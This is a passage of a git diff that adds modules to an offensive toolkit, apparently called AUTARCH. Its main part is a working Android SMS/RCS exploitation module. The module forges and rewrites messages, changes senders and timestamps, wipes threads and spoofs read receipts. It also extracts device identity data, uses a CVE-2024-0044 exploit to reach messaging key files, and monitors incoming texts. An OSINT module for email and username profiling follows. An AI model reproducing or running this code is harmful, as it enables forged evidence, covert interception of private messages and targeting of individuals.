' + f'--el timestamp {ts} ' + f'com.darkhal.archon' + ) + result = self._run_adb(broadcast) + method = 'archon' if 'Broadcast completed' in result else 'failed' + entry = { + 'address': address, 'body': body, 'type': msg_type, + 'timestamp': ts, 'method': method, + 'action': 'forge_rcs', 'time': datetime.now().isoformat(), + } + self._forged_log.append(entry) + if method == 'archon': + return {'ok': True, 'message': 'RCS message forged via Archon', 'details': entry} + return {'ok': False, 'error': 'RCS forging requires Archon app or elevated access'} + + def forge_conversation(self, address: str, messages: List[Dict], + contact_name: Optional[str] = None) -> Dict[str, Any]: + if not address or not messages: + return {'ok': False, 'error': 'Address and messages required'} + results = [] + for msg in messages: + body = msg.get('body', '') + msg_type = int(msg.get('type', MSG_TYPE_INBOX)) + ts = msg.get('timestamp') + if ts: + ts = int(ts) + r = self.forge_sms(address, body, msg_type, ts, contact_name) + results.append(r) + ok_count = sum(1 for r in results if r.get('ok')) + return { + 'ok': ok_count > 0, + 'message': f'Forged {ok_count}/{len(messages)} messages', + 'results': results, + } + + def bulk_forge(self, messages_list: List[Dict]) -> Dict[str, Any]: + results = [] + for msg in messages_list: + r = self.forge_sms( + address=msg.get('address', ''), + body=msg.get('body', ''), + msg_type=int(msg.get('type', MSG_TYPE_INBOX)), + timestamp=int(msg['timestamp']) if msg.get('timestamp') else None, + contact_name=msg.get('contact_name'), + read=int(msg.get('read', 1)), + ) + results.append(r) + ok_count = sum(1 for r in results if r.get('ok')) + return {'ok': ok_count > 0, 'forged': ok_count, 'total': len(messages_list)} + + def import_sms_backup_xml(self, xml_content: str) -> Dict[str, Any]: + """Import SMS from SMS Backup & Restore XML format.""" + try: + root = ET.fromstring(xml_content) + except ET.ParseError as e: + return {'ok': False, 'error': f'Invalid XML: {e}'} + count = 0 + errors = [] + for sms_elem in root.findall('.//sms'): + address = sms_elem.get('address', '') + body = sms_elem.get('body', '') + msg_type = int(sms_elem.get('type', '1')) + date = sms_elem.get('date') + read = int(sms_elem.get('read', '1')) + if not address: + continue + ts = int(date) if date else None + result = self.forge_sms(address, body, msg_type, ts, read=read) + if result.get('ok'): + count += 1 + else: + errors.append(result.get('error', 'unknown')) + return { + 'ok': count > 0, + 'imported': count, + 'errors': len(errors), + 'error_details': errors[:10], + } + + # ══════════════════════════════════════════════════════════════════════ + # §8 MESSAGE MODIFICATION + # ══════════════════════════════════════════════════════════════════════ + + def modify_message(self, msg_id: int, new_body: Optional[str] = None, + new_timestamp: Optional[int] = None, new_type: Optional[int] = None, + new_read: Optional[int] = None) -> Dict[str, Any]: + bindings = {} + if new_body is not None: + bindings['body'] = new_body + if new_timestamp is not None: + bindings['date'] = new_timestamp + if new_type is not None: + bindings['type'] = new_type + if new_read is not None: + bindings['read'] = new_read + if not bindings: + return {'ok': False, 'error': 'No modifications specified'} + result = self._content_update(f'{SMS_URI}{msg_id}', bindings) + if self._is_error(result): + return {'ok': False, 'error': result} + return {'ok': True, 'message': f'Message {msg_id} modified', 'changes': bindings} + + def delete_message(self, msg_id: int) -> Dict[str, Any]: + result = self._content_delete(f'{SMS_URI}{msg_id}') + if self._is_error(result): + return {'ok': False, 'error': result} + return {'ok': True, 'message': f'Message {msg_id} deleted'} + + def delete_conversation(self, thread_id: int) -> Dict[str, Any]: + result = self._content_delete(SMS_URI, where=f'thread_id={thread_id}') + if self._is_error(result): + return {'ok': False, 'error': result} + return {'ok': True, 'message': f'Thread {thread_id} deleted'} + + def change_sender(self, msg_id: int, new_address: str) -> Dict[str, Any]: + result = self._content_update(f'{SMS_URI}{msg_id}', {'address': new_address}) + if self._is_error(result): + return {'ok': False, 'error': result} + return {'ok': True, 'message': f'Message {msg_id} sender changed to {new_address}'} + + def shift_timestamps(self, address: str, offset_minutes: int) -> Dict[str, Any]: + safe_addr = address.replace("'", "''") + msgs = self._content_query(SMS_URI, projection='_id:date', + where=f"address='{safe_addr}'") + modified = 0 + offset_ms = offset_minutes * 60 * 1000 + for msg in msgs: + msg_id = msg.get('_id') + old_date = msg.get('date') + if msg_id and old_date: + new_date = int(old_date) + offset_ms + r = self._content_update(f'{SMS_URI}{msg_id}', {'date': new_date}) + if not self._is_error(r): + modified += 1 + return {'ok': modified > 0, 'modified': modified, 'total': len(msgs)} + + def mark_all_read(self, thread_id: Optional[int] = None) -> Dict[str, Any]: + where = f'thread_id={thread_id} AND read=0' if thread_id else 'read=0' + result = self._content_update(SMS_URI, {'read': 1}, where=where) + if self._is_error(result): + return {'ok': False, 'error': result} + return {'ok': True, 'message': 'Messages marked as read'} + + def wipe_thread(self, thread_id: int) -> Dict[str, Any]: + # Delete from both SMS and MMS + r1 = self._content_delete(SMS_URI, where=f'thread_id={thread_id}') + r2 = self._content_delete(MMS_URI, where=f'thread_id={thread_id}') + return {'ok': True, 'sms_result': r1, 'mms_result': r2, + 'message': f'Thread {thread_id} wiped'} + + # ══════════════════════════════════════════════════════════════════════ + # §9 RCS EXPLOITATION + # ══════════════════════════════════════════════════════════════════════ + + def read_rcs_features(self, address: str) -> Dict[str, Any]: + """Check RCS capabilities for a phone number.""" + # Try dumpsys for RCS capability info + output = self._shell(f'dumpsys telephony_ims') + features = {'address': address, 'rcs_capable': False, 'features': []} + if output and not self._is_error(output): + if address in output: + features['rcs_capable'] = True + # Parse UCE capabilities + for line in output.splitlines(): + if 'capability' in line.lower() or 'uce' in line.lower(): + features['features'].append(line.strip()) + # Also try Archon query + broadcast = ( + f'shell am broadcast -a com.darkhal.archon.CHECK_RCS_CAPABLE ' + f'--es address "{address}" com.darkhal.archon' + ) + self._run_adb(broadcast) + return {'ok': True, **features} + + def spoof_rcs_read_receipt(self, msg_id: str) -> Dict[str, Any]: + """Spoof a read receipt for an RCS message.""" + # Via content provider update + result = self._content_update( + f'content://rcs/p2p_thread/0/incoming_message/{msg_id}', + {'seen_timestamp': self._ts_ms()}, + ) + if not self._is_error(result) and 'SecurityException' not in result: + return {'ok': True, 'message': f'Read receipt spoofed for message {msg_id}'} + # Fallback: Archon + broadcast = ( + f'shell am broadcast -a com.darkhal.archon.SPOOF_READ_RECEIPT ' + f'--es msg_id "{msg_id}" com.darkhal.archon' + ) + r = self._run_adb(broadcast) + return { + 'ok': 'Broadcast completed' in r, + 'message': 'Read receipt spoof attempted via Archon', + } + + def spoof_rcs_typing(self, address: str) -> Dict[str, Any]: + """Send a fake typing indicator via Archon.""" + broadcast = ( + f'shell am broadcast -a com.darkhal.archon.SPOOF_TYPING ' + f'--es address "{address}" com.darkhal.archon' + ) + r = self._run_adb(broadcast) + return { + 'ok': 'Broadcast completed' in r, + 'message': f'Typing indicator spoofed to {address}', + } + + def enumerate_rcs_providers(self) -> Dict[str, Any]: + """Discover all accessible messaging content providers on the device.""" + return self.enumerate_providers() + + def clone_rcs_identity(self) -> Dict[str, Any]: + """Extract RCS registration/identity data for cloning.""" + identity = {} + # Get IMSI/ICCID + identity['imei'] = self._shell('service call iphonesubinfo 1 | grep -o "[0-9a-f]\\{8\\}" | tail -n+2 | head -4') + identity['phone_number'] = self._shell('service call iphonesubinfo 15 | grep -o "[0-9a-f]\\{8\\}" | tail -n+2 | head -4') + # Get RCS provisioning state + for pkg in MESSAGING_PACKAGES: + sp_dir = f'/data/data/{pkg}/shared_prefs/' + files = self._shell(f'run-as {self._exploit_victim_name} ls {sp_dir} 2>/dev/null') \ + if self._cve_exploit_active else '' + if files and not self._is_error(files): + identity[f'{pkg}_shared_prefs'] = files.splitlines() + # Get SIM info + identity['sim_operator'] = self._shell('getprop gsm.sim.operator.alpha') + identity['sim_country'] = self._shell('getprop gsm.sim.operator.iso-country') + identity['network_type'] = self._shell('getprop gsm.network.type') + return {'ok': True, 'identity': identity} + + def extract_rcs_media(self, msg_id: str) -> Dict[str, Any]: + """Extract media files from RCS messages.""" + # Check MMS parts for media + parts = self._content_query( + f'content://mms/{msg_id}/part', + projection='_id:mid:ct:_data:name', + ) + media_files = [] + for part in parts: + ct = part.get('ct', '') + if ct and ct != 'text/plain' and ct != 'application/smil': + data_path = part.get('_data', '') + if data_path: + # Pull the file + local_name = f"media_{msg_id}_{part.get('_id', 'unknown')}" + ext = ct.split('/')[-1] if '/' in ct else 'bin' + local_path = str(self._exports_dir / f'{local_name}.{ext}') + pull = self._run_adb(f'pull {data_path} {local_path}') + if os.path.exists(local_path): + media_files.append({ + 'content_type': ct, + 'local_path': local_path, + 'device_path': data_path, + 'name': part.get('name', ''), + }) + return {'ok': True, 'media': media_files, 'count': len(media_files)} + + def intercept_archival_broadcast(self) -> Dict[str, Any]: + """Set up interception of GOOGLE_MESSAGES_ARCHIVAL_UPDATE broadcasts. + + This is the enterprise archival broadcast that Google Messages sends + when messages are sent, received, edited, or deleted on managed devices. + """ + # Register a broadcast receiver via Archon + broadcast = ( + 'shell am broadcast -a com.darkhal.archon.REGISTER_ARCHIVAL_LISTENER ' + 'com.darkhal.archon' + ) + r = self._run_adb(broadcast) + info = { + 'broadcast_action': ARCHIVAL_BROADCAST_ACTION, + 'uri_extra_key': ARCHIVAL_URI_EXTRA, + 'note': 'Requires fully managed device with Google Messages as default SMS app', + 'requirement': 'MCM config: messages_archival = com.darkhal.archon', + } + return { + 'ok': 'Broadcast completed' in r, + 'message': 'Archival listener registration attempted', + 'info': info, + } + + def extract_signal_protocol_state(self) -> Dict[str, Any]: + """Extract E2EE Signal Protocol session state (requires elevated access).""" + if not self._cve_exploit_active: + return { + 'ok': False, + 'error': 'Requires CVE-2024-0044 exploit or root access', + 'note': 'Signal Protocol keys are in ' + '/data/data/com.google.android.apps.messaging/files/ ' + 'but master key is in Android Keystore (hardware-backed, not extractable via ADB)', + } + victim = self._exploit_victim_name + # List files in the messaging app's files directory + files = self._shell( + f'run-as {victim} ls -la /data/data/com.google.android.apps.messaging/files/' + ) + # List shared_prefs + prefs = self._shell( + f'run-as {victim} ls -la /data/data/com.google.android.apps.messaging/shared_prefs/' + ) + return { + 'ok': True, + 'files_dir': files.splitlines() if files and not self._is_error(files) else [], + 'shared_prefs': prefs.splitlines() if prefs and not self._is_error(prefs) else [], + 'note': 'Session keys found but master encryption key is hardware-backed in Android Keystore', + } + + def get_rcs_cve_database(self) -> Dict[str, Any]: + """Return known CVEs affecting RCS/Android messaging.""" + return {'ok': True, 'cves': RCS_CVES, 'count': len(RCS_CVES)} + + # ══════════════════════════════════════════════════════════════════════ + # §10 DATABASE BACKUP & CLONE + # ══════════════════════════════════════════════════════════════════════ + + def full_backup(self, fmt: str = 'json') -> Dict[str, Any]: + """Complete SMS/MMS/RCS backup.""" + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + + # Get SMS + sms = self.read_sms_database(limit=10000) + # Get MMS + mms = self.read_mms_database(limit=5000) + # Get conversations + convos = self.read_conversations(limit=1000) + # Try RCS provider + rcs = self.read_rcs_provider() + + backup = { + 'timestamp': timestamp, + 'device': self.get_device_info(), + 'sms': sms, + 'mms': mms, + 'conversations': convos, + 'rcs': rcs if rcs.get('ok') else {}, + 'stats': { + 'sms_count': len(sms), + 'mms_count': len(mms), + 'conversation_count': len(convos), + }, + } + + if fmt == 'xml': + backup_path = self._backups_dir / f'backup_{timestamp}.xml' + self._write_sms_backup_xml(sms, str(backup_path)) + else: + backup_path = self._backups_dir / f'backup_{timestamp}.json' + with open(backup_path, 'w') as f: + json.dump(backup, f, indent=2, default=str) + + return { + 'ok': True, + 'path': str(backup_path), + 'stats': backup['stats'], + 'message': f'Backup saved to {backup_path}', + } + + def _write_sms_backup_xml(self, messages: List[Dict], path: str): + """Write SMS Backup & Restore compatible XML.""" + root = ET.Element('smses', count=str(len(messages))) + for msg in messages: + attrs = { + 'protocol': str(msg.get('protocol', '0') or '0'), + 'address': str(msg.get('address', '') or ''), + 'date': str(msg.get('date', '') or ''), + 'type': str(msg.get('type', '1') or '1'), + 'body': str(msg.get('body', '') or ''), + 'read': str(msg.get('read', '1') or '1'), + 'status': str(msg.get('status', '-1') or '-1'), + 'locked': str(msg.get('locked', '0') or '0'), + 'date_sent': str(msg.get('date_sent', '0') or '0'), + 'readable_date': str(msg.get('date_formatted', '') or ''), + 'contact_name': str(msg.get('contact_name', '(Unknown)') or '(Unknown)'), + } + ET.SubElement(root, 'sms', **attrs) + tree = ET.ElementTree(root) + ET.indent(tree, space=' ') + tree.write(path, encoding='unicode', xml_declaration=True) + + def full_restore(self, backup_path: str) -> Dict[str, Any]: + """Restore messages from a backup file.""" + path = Path(backup_path) + if not path.exists(): + # Check in backups dir + path = self._backups_dir / backup_path + if not path.exists(): + return {'ok': False, 'error': f'Backup file not found: {backup_path}'} + + if path.suffix == '.xml': + with open(path, 'r') as f: + return self.import_sms_backup_xml(f.read()) + elif path.suffix == '.json': + with open(path, 'r') as f: + backup = json.load(f) + sms = backup.get('sms', []) + if not sms: + return {'ok': False, 'error': 'No SMS messages in backup'} + return self.bulk_forge(sms) + return {'ok': False, 'error': f'Unsupported format: {path.suffix}'} + + def clone_to_device(self) -> Dict[str, Any]: + """Clone all messages from current device backup to another device. + + Steps: 1) Run full_backup on source, 2) Connect target device, + 3) Run full_restore with the backup file. + """ + backup = self.full_backup() + if not backup.get('ok'): + return backup + return { + 'ok': True, + 'message': 'Backup created. Connect target device and call full_restore()', + 'backup_path': backup['path'], + 'stats': backup['stats'], + } + + def export_messages(self, address: Optional[str] = None, fmt: str = 'json') -> Dict[str, Any]: + """Export messages to JSON, CSV, or XML.""" + if address: + msgs = self.get_messages_by_address(address) + else: + msgs = self.read_sms_database(limit=10000) + + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + suffix = f'_{address}' if address else '_all' + + if fmt == 'csv': + export_path = self._exports_dir / f'export{suffix}_{timestamp}.csv' + with open(export_path, 'w', newline='') as f: + if msgs: + writer = csv.DictWriter(f, fieldnames=msgs[0].keys()) + writer.writeheader() + writer.writerows(msgs) + elif fmt == 'xml': + export_path = self._exports_dir / f'export{suffix}_{timestamp}.xml' + self._write_sms_backup_xml(msgs, str(export_path)) + else: + export_path = self._exports_dir / f'export{suffix}_{timestamp}.json' + with open(export_path, 'w') as f: + json.dump(msgs, f, indent=2, default=str) + + return { + 'ok': True, + 'path': str(export_path), + 'count': len(msgs), + 'format': fmt, + } + + def list_backups(self) -> Dict[str, Any]: + """List all backup files.""" + backups = [] + for f in sorted(self._backups_dir.iterdir(), reverse=True): + if f.is_file(): + backups.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(), + }) + return {'ok': True, 'backups': backups, 'count': len(backups)} + + def list_exports(self) -> Dict[str, Any]: + """List all exported files.""" + exports = [] + for f in sorted(self._exports_dir.iterdir(), reverse=True): + if f.is_file(): + exports.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(), + }) + return {'ok': True, 'exports': exports, 'count': len(exports)} + + def list_extracted_dbs(self) -> Dict[str, Any]: + """List extracted database snapshots.""" + extractions = [] + for d in sorted(self._extracted_dir.iterdir(), reverse=True): + if d.is_dir(): + files = [f.name for f in d.iterdir()] + total_size = sum(f.stat().st_size for f in d.iterdir() if f.is_file()) + extractions.append({ + 'name': d.name, + 'path': str(d), + 'files': files, + 'total_size': total_size, + }) + return {'ok': True, 'extractions': extractions, 'count': len(extractions)} + + # ══════════════════════════════════════════════════════════════════════ + # §11 SMS/RCS MONITOR + # ══════════════════════════════════════════════════════════════════════ + + def start_sms_monitor(self) -> Dict[str, Any]: + if self._monitor_running: + return {'ok': False, 'error': 'Monitor already running'} + self._monitor_running = True + self._monitor_thread = threading.Thread( + target=self._monitor_loop, daemon=True, name='rcs-monitor', + ) + self._monitor_thread.start() + return {'ok': True, 'message': 'SMS/RCS monitor started'} + + def stop_sms_monitor(self) -> Dict[str, Any]: + self._monitor_running = False + return {'ok': True, 'message': 'Monitor stopping', + 'intercepted': len(self._intercepted)} + + def get_intercepted_messages(self) -> Dict[str, Any]: + with self._intercepted_lock: + msgs = list(self._intercepted) + return {'ok': True, 'messages': msgs, 'count': len(msgs)} + + def clear_intercepted(self) -> Dict[str, Any]: + with self._intercepted_lock: + count = len(self._intercepted) + self._intercepted.clear() + return {'ok': True, 'cleared': count} + + def _monitor_loop(self): + """Background thread: watch logcat for incoming SMS/RCS.""" + adb = self._get_adb() + try: + proc = subprocess.Popen( + f'{adb} shell logcat -s Bugle:V SmsReceiverService:V ' + f'SmsMessage:V RilReceiver:V', + shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, + ) + while self._monitor_running: + line = proc.stdout.readline() + if not line: + break + line = line.strip() + if not line: + continue + # Parse relevant log lines + entry = None + if 'SMS received' in line or 'received SMS' in line.lower(): + entry = {'type': 'sms_received', 'raw': line, 'time': datetime.now().isoformat()} + elif 'RCS' in line and ('received' in line.lower() or 'incoming' in line.lower()): + entry = {'type': 'rcs_received', 'raw': line, 'time': datetime.now().isoformat()} + elif 'SmsMessage' in line: + entry = {'type': 'sms_activity', 'raw': line, 'time': datetime.now().isoformat()} + if entry: + with self._intercepted_lock: + self._intercepted.append(entry) + if len(self._intercepted) > 1000: + self._intercepted = self._intercepted[-500:] + proc.terminate() + except Exception: + pass + finally: + self._monitor_running = False + + def get_forged_log(self) -> List[Dict[str, Any]]: + return list(self._forged_log) + + def clear_forged_log(self) -> Dict[str, Any]: + count = len(self._forged_log) + self._forged_log.clear() + return {'ok': True, 'cleared': count} + + # ══════════════════════════════════════════════════════════════════════ + # §12 ARCHON APP INTEGRATION + # ══════════════════════════════════════════════════════════════════════ + + def archon_query(self, action: str, extras: Optional[Dict[str, str]] = None) -> Dict[str, Any]: + """Send a command to Archon's MessagingModule via ADB broadcast.""" + cmd = f'shell am broadcast -a com.darkhal.archon.{action}' + if extras: + for key, val in extras.items(): + if isinstance(val, int): + cmd += f' --ei {key} {val}' + elif isinstance(val, bool): + cmd += f' --ez {key} {str(val).lower()}' + else: + safe = str(val).replace('"', '\\"') + cmd += f' --es {key} "{safe}"' + cmd += ' com.darkhal.archon' + result = self._run_adb(cmd) + return { + 'ok': 'Broadcast completed' in result, + 'result': result, + } + + def archon_extract_bugle(self) -> Dict[str, Any]: + """Ask Archon to extract bugle_db via Shizuku elevated access.""" + return self.archon_query('EXTRACT_DB', { + 'target_package': 'com.google.android.apps.messaging', + 'database': 'bugle_db', + 'output_dir': '/sdcard/Download/autarch_extract', + }) + + def archon_forge_rcs(self, address: str, body: str, direction: str = 'incoming') -> Dict[str, Any]: + """Ask Archon to insert RCS message directly into bugle_db.""" + return self.archon_query('FORGE_RCS', { + 'address': address, + 'body': body, + 'direction': direction, + 'timestamp': str(self._ts_ms()), + }) + + def archon_modify_rcs(self, msg_id: int, new_body: str) -> Dict[str, Any]: + """Ask Archon to modify an RCS message in bugle_db.""" + return self.archon_query('MODIFY_RCS', { + 'msg_id': msg_id, + 'new_body': new_body, + }) + + def archon_get_rcs_threads(self) -> Dict[str, Any]: + """Get RCS thread list via Archon relay.""" + return self.archon_query('GET_RCS_THREADS') + + def archon_backup_all(self) -> Dict[str, Any]: + """Full backup via Archon (SMS + MMS + RCS + attachments).""" + result = self.archon_query('FULL_BACKUP', { + 'output_dir': '/sdcard/Download/autarch_backup', + 'include_rcs': 'true', + 'include_attachments': 'true', + }) + if result.get('ok'): + # Pull the backup + time.sleep(5) + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + local_dir = self._backups_dir / f'archon_backup_{timestamp}' + local_dir.mkdir(parents=True, exist_ok=True) + pull = self._run_adb(f'pull /sdcard/Download/autarch_backup/ {local_dir}/') + result['local_path'] = str(local_dir) + result['pull_result'] = pull + return result + + def archon_set_default_sms(self) -> Dict[str, Any]: + """Set Archon as the default SMS/RCS app (enables full message access).""" + return self.set_default_sms_app('com.darkhal.archon') + + # ══════════════════════════════════════════════════════════════════════ + # §13 PIXEL-SPECIFIC TOOLS + # ══════════════════════════════════════════════════════════════════════ + + def pixel_diagnostics(self) -> Dict[str, Any]: + """Run Pixel-specific RCS diagnostic commands.""" + results = {} + # IMS status + results['ims'] = self._shell('dumpsys telephony_ims')[:3000] + # Carrier config (extract RCS-relevant keys) + cc = self.get_carrier_config() + results['carrier_rcs_config'] = cc.get('rcs_config', {}) + # Phone info + results['phone'] = self._shell('dumpsys phone | head -50') + # Check if Pixel + brand = self._shell('getprop ro.product.brand').lower() + results['is_pixel'] = 'google' in brand + # RCS-specific settings + results['rcs_settings'] = {} + for key in ['rcs_autoconfiguration_enabled', 'rcs_e2ee_enabled', + 'chat_features_enabled']: + val = self._shell(f'settings get global {key}') + if not self._is_error(val): + results['rcs_settings'][key] = val + return {'ok': True, **results} + + def enable_debug_menu(self) -> Dict[str, Any]: + """Instructions and automation for enabling Google Messages debug menu.""" + return { + 'ok': True, + 'instructions': [ + '1. Open Google Messages on the device', + '2. Tap the search bar', + '3. Type: *xyzzy*', + '4. A debug menu will appear in Settings', + '5. Enables: RCS connection state, ACS URL, feature flags, verbose logging', + ], + 'automated_phenotype': 'Use enable_verbose_logging() to enable debug flags via Phenotype', + } + + # ══════════════════════════════════════════════════════════════════════ + # §14 CLI ENTRY POINT + # ══════════════════════════════════════════════════════════════════════ + + def run(self): + """CLI interactive mode.""" + print(f"\n RCS/SMS Exploitation v{VERSION}") + print(" " + "=" * 40) + status = self.get_status() + if status.get('connected'): + dev = status['device'] + print(f" Device: {dev.get('model', '?')} ({dev.get('serial', '?')})") + print(f" Android: {dev.get('android_version', '?')} (patch: {dev.get('security_patch', '?')})") + print(f" SMS App: {dev.get('default_sms_app', '?')}") + shizuku = status.get('shizuku', {}) + print(f" Shizuku: {'running' if shizuku.get('running') else 'not running'}") + archon = status.get('archon', {}) + print(f" Archon: {'installed' if archon.get('installed') else 'not installed'}") + cve = status.get('cve_2024_0044', {}) + if cve.get('vulnerable'): + print(f" CVE-2024-0044: VULNERABLE") + else: + print(" No device connected") + + +def run(): + get_rcs_tools().run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/recon.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/recon.py new file mode 100644 index 0000000..5bc8e02 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/recon.py @@ -0,0 +1,2191 @@ +""" +AUTARCH Recon Module +Open Source Intelligence (OSINT) gathering + +Domain, IP, email, username, and phone reconnaissance tools. +Integrates with social-analyzer for social media analysis. +Uses unified sites database from sherlock, maigret, and social-analyzer. +""" + +import os +import sys +import subprocess +import socket +import re +import json +import time +import concurrent.futures +import urllib.request +from pathlib import Path +from urllib.parse import urlparse, quote +from typing import List, Dict, Optional, Tuple +from random import randint +from datetime import datetime + +# Module metadata +DESCRIPTION = "OSINT & reconnaissance tools" +AUTHOR = "darkHal" +VERSION = "2.3" +CATEGORY = "osint" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner +from core.sites_db import get_sites_db +from core.report_generator import get_report_generator +from core.config import get_config + + +class Recon: + """OSINT and reconnaissance tools.""" + + def __init__(self): + self.social_analyzer_available = self._check_social_analyzer() + self.sites_db = get_sites_db() + self.config = get_config() + osint_settings = self.config.get_osint_settings() + self.scan_config = { + 'max_sites': 200, + 'include_nsfw': osint_settings['include_nsfw'], + 'categories': None, # None = all categories + 'timeout': osint_settings['timeout'], + 'threads': osint_settings['max_threads'], + } + + def _check_social_analyzer(self) -> bool: + """Check if social-analyzer is installed.""" + try: + result = subprocess.run( + "social-analyzer --help", + shell=True, + capture_output=True, + timeout=5 + ) + return result.returncode == 0 + except: + return False + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd: str, timeout: int = 30) -> tuple: + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + # ==================== EMAIL OSINT ==================== + + def email_lookup(self): + """Email address OSINT.""" + print(f"\n{Colors.BOLD}Email OSINT{Colors.RESET}") + email = input(f"{Colors.WHITE}Enter email address: {Colors.RESET}").strip() + + if not email or '@' not in email: + self.print_status("Invalid email address", "error") + return + + username, domain = email.split('@') + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Target: {email}{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Email format analysis + print(f"{Colors.CYAN}Email Analysis:{Colors.RESET}") + print(f" Username: {username}") + print(f" Domain: {domain}") + + # Check if domain has MX records + success, output = self.run_cmd(f"dig +short MX {domain}") + if success and output: + print(f" Mail Svr: {output.split()[1] if len(output.split()) > 1 else output}") + else: + print(f" Mail Svr: {Colors.YELLOW}No MX record{Colors.RESET}") + + # Breach check resources + print(f"\n{Colors.CYAN}Breach Check Resources:{Colors.RESET}") + print(f" HaveIBeenPwned: https://haveibeenpwned.com/account/{quote(email)}") + print(f" DeHashed: https://dehashed.com/search?query={quote(email)}") + print(f" IntelX: https://intelx.io/?s={quote(email)}") + + # Email validation + print(f"\n{Colors.CYAN}Email Validation:{Colors.RESET}") + # Check common patterns + disposable_domains = ['tempmail', 'throwaway', 'guerrilla', 'mailinator', '10minute'] + is_disposable = any(d in domain.lower() for d in disposable_domains) + print(f" Disposable: {'Yes' if is_disposable else 'No'}") + + # Gravatar check + import hashlib + email_hash = hashlib.md5(email.lower().encode()).hexdigest() + print(f" Gravatar: https://gravatar.com/avatar/{email_hash}") + + # Related accounts lookup + print(f"\n{Colors.CYAN}Account Search:{Colors.RESET}") + print(f" Google: https://www.google.com/search?q=\"{quote(email)}\"") + print(f" GitHub: https://api.github.com/search/users?q={quote(email)}+in:email") + + def email_permutator(self): + """Generate email permutations.""" + print(f"\n{Colors.BOLD}Email Permutator{Colors.RESET}") + first_name = input(f"{Colors.WHITE}First name: {Colors.RESET}").strip().lower() + last_name = input(f"{Colors.WHITE}Last name: {Colors.RESET}").strip().lower() + domain = input(f"{Colors.WHITE}Domain (e.g., company.com): {Colors.RESET}").strip().lower() + + if not first_name or not last_name or not domain: + return + + # Generate permutations + permutations = [ + f"{first_name}.{last_name}@{domain}", + f"{first_name}{last_name}@{domain}", + f"{last_name}.{first_name}@{domain}", + f"{last_name}{first_name}@{domain}", + f"{first_name[0]}{last_name}@{domain}", + f"{first_name}{last_name[0]}@{domain}", + f"{first_name[0]}.{last_name}@{domain}", + f"{first_name}.{last_name[0]}@{domain}", + f"{last_name}@{domain}", + f"{first_name}@{domain}", + f"{first_name}_{last_name}@{domain}", + f"{first_name}-{last_name}@{domain}", + ] + + print(f"\n{Colors.CYAN}Generated Email Permutations:{Colors.RESET}\n") + for email in permutations: + print(f" {email}") + + # Save option + save = input(f"\n{Colors.WHITE}Save to file? (y/n): {Colors.RESET}").strip().lower() + if save == 'y': + filename = f"{first_name}_{last_name}_emails.txt" + with open(filename, 'w') as f: + f.write('\n'.join(permutations)) + self.print_status(f"Saved to {filename}", "success") + + # ==================== USERNAME OSINT ==================== + + # WAF/Captcha detection - only specific challenge page indicators + WAF_PATTERNS = re.compile( + r'captcha-info|Completing the CAPTCHA|' + r'cf-browser-verification|cf_chl_prog|' + r'ddos protection by|verify you are human|' + r'please turn javascript on|enable cookies to continue', + re.IGNORECASE + ) + + WAF_TITLE_PATTERNS = re.compile( + r'just a moment|attention required|' + r'ddos-guard|security check required', + re.IGNORECASE + ) + + # Detection strings - return "false" means if found, user does NOT exist + # Detection strings - return "true" means if found, user EXISTS + SHARED_DETECTIONS = { + 'mastodon': [ + {'return': False, 'string': "The page you are looking for isn"}, + {'return': True, 'string': 'profile:username'}, + {'return': True, 'string': '/@{username}'}, + ], + 'discourse': [ + {'return': True, 'string': 'og:title'}, + {'return': True, 'string': '"{username}"'}, + ], + 'gitlab': [ + {'return': True, 'string': 'user-profile'}, + ], + 'phpbb': [ + {'return': False, 'string': 'No user'}, + {'return': True, 'string': 'memberlist'}, + ], + 'xenforo': [ + {'return': False, 'string': 'The requested member could not be found'}, + {'return': True, 'string': 'member-header'}, + ], + 'vbulletin': [ + {'return': False, 'string': 'is not a member'}, + {'return': True, 'string': 'profile-header'}, + ], + } + + # Common patterns indicating user does NOT exist (return: false) + # Prioritized by specificity - more specific patterns first + NOT_FOUND_STRINGS = [ + # Very specific "not found" phrases + 'user not found', 'profile not found', 'account not found', + 'member not found', 'page not found', 'no user found', + 'does not exist', 'doesn\'t exist', 'no such user', + 'could not be found', 'cannot be found', 'user doesn\'t exist', + 'the specified member cannot be found', + 'the requested user is not valid', + 'this user is not registered', + 'this username is available', 'username is available', + 'claim this username', 'this name is available', + # Account status + 'user has been deleted', 'account has been suspended', + 'account has been deleted', 'user has been banned', + 'this account has been suspended', 'account is suspended', + 'this profile is no longer available', + # Soft 404 phrases + 'there\'s nothing here', 'this page is no longer available', + 'the page you are looking for isn\'t here', + 'hmm...this page doesn\'t exist', 'oops! page not found', + 'sorry, nobody on reddit goes by that name', + 'something went wrong', 'we couldn\'t find', + # Registration/signup prompts (indicates username available) + 'create an account', 'sign up now', 'register now', + 'join now', 'create your account', + ] + + # Patterns that strongly indicate user EXISTS (return: true) + # These should be profile-specific elements + FOUND_STRINGS = [ + # Profile metadata + 'og:title', 'profile:username', 'og:profile', + # Profile structure indicators + 'user-profile', 'member-header', 'profile-header', + 'profile-info', 'user-info', 'profile-content', + 'profile-card', 'user-card', 'member-card', + # User statistics + 'followers', 'following', 'subscribers', 'friends', + 'member since', 'joined', 'last seen', 'last active', + 